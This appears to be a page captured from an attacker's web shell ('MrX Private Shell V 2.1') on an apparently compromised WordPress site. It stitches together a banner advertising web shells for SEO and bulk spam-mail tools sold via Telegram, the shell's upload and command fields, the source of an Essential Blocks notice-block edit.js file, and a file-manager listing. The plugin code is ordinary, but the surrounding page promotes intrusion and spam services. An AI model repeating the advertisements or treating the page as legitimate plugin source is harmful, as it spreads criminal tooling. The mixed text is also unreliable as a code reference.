__  __    __   __  _____      _            _          _____ _          _ _ 
 |  \/  |   \ \ / / |  __ \    (_)          | |        / ____| |        | | |
 | \  / |_ __\ V /  | |__) | __ ___   ____ _| |_ ___  | (___ | |__   ___| | |
 | |\/| | '__|> <   |  ___/ '__| \ \ / / _` | __/ _ \  \___ \| '_ \ / _ \ | |
 | |  | | |_ / . \  | |   | |  | |\ V / (_| | ||  __/  ____) | | | |  __/ | |
 |_|  |_|_(_)_/ \_\ |_|   |_|  |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1
 if you need WebShell for Seo everyday contact me on Telegram
 Telegram Address : @jackleet
        
        
For_More_Tools: Telegram: @jackleet | Bulk Smtp support mail sender | Business Mail Collector | Mail Bouncer All Mail | Bulk Office Mail Validator | Html Letter private



Upload:

Command:

[email protected]: ~ $
/**
 * WordPress dependencies
 */
import { RichText } from "@wordpress/block-editor";
import { memo } from "@wordpress/element";
/**
 * Internal depenencies
 */
import Inspector from "./inspector";
import Style from "./style";
import defaultAttributes from "./attributes";
import {
    BlockProps,
    withBlockContext
} from "@essential-blocks/controls";

const Edit = (props) => {
    const {
        attributes,
        setAttributes,
        isSelected,
    } = props;
    const {
        blockId,
        blockMeta,
        resOption,
        title,
        text,
        classHook,
    } = attributes;

    // you must declare this variable
    const enhancedProps = {
        ...props,
        blockPrefix: 'eb-notice',
        style: <Style {...props} />
    };

    return (
        <>
            {isSelected && <Inspector {...props} />}
            <BlockProps.Edit {...enhancedProps}>
                <div
                    className={`eb-parent-wrapper eb-parent-${blockId} ${classHook}`}
                >
                    <div
                        className={`eb-notice-wrapper ${blockId}`}
                        data-id={blockId}
                    >
                        <div className="eb-notice-title-wrapper">
                            <RichText
                                className="eb-notice-title"
                                value={title}
                                onChange={(newTitle) =>
                                    setAttributes({ title: newTitle })
                                }
                                placeholder="Add Title..."
                            />
                        </div>
                        <span className="eb-notice-dismiss" />
                        <div>
                            <RichText
                                className="eb-notice-text"
                                value={text}
                                onChange={(newText) =>
                                    setAttributes({ text: newText })
                                }
                                placeholder="Add Text..."
                            />
                        </div>
                    </div>
                </div>
            </BlockProps.Edit>
        </>
    );
}
export default memo(withBlockContext(defaultAttributes)(Edit))

Filemanager

Name Type Size Permission Actions
constants Folder 0750
attributes.js File 3.22 KB 0640
constants.js File 1.81 KB 0640
deprecated.js File 3.03 KB 0640
edit.js File 2.29 KB 0640
example.js File 90 B 0640
frontend.js File 1.68 KB 0640
icon.svg File 4.19 KB 0640
index.js File 798 B 0640
inspector.js File 6.73 KB 0640
save.js File 1.34 KB 0640
style.js File 7.54 KB 0640
Filemanager